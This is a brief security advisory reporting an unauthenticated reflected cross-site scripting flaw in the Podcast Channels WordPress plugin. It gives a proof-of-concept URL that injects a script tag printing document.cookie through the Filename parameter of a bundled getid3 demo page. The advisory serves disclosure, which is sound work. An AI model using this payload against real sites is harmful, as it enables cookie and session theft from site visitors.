The Podcast Channels WordPress plugin was affected by an Unauthenticated Reflected XSS security vulnerability.
http://127.0.0.1/wp-content/plugins/podcastβchannels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&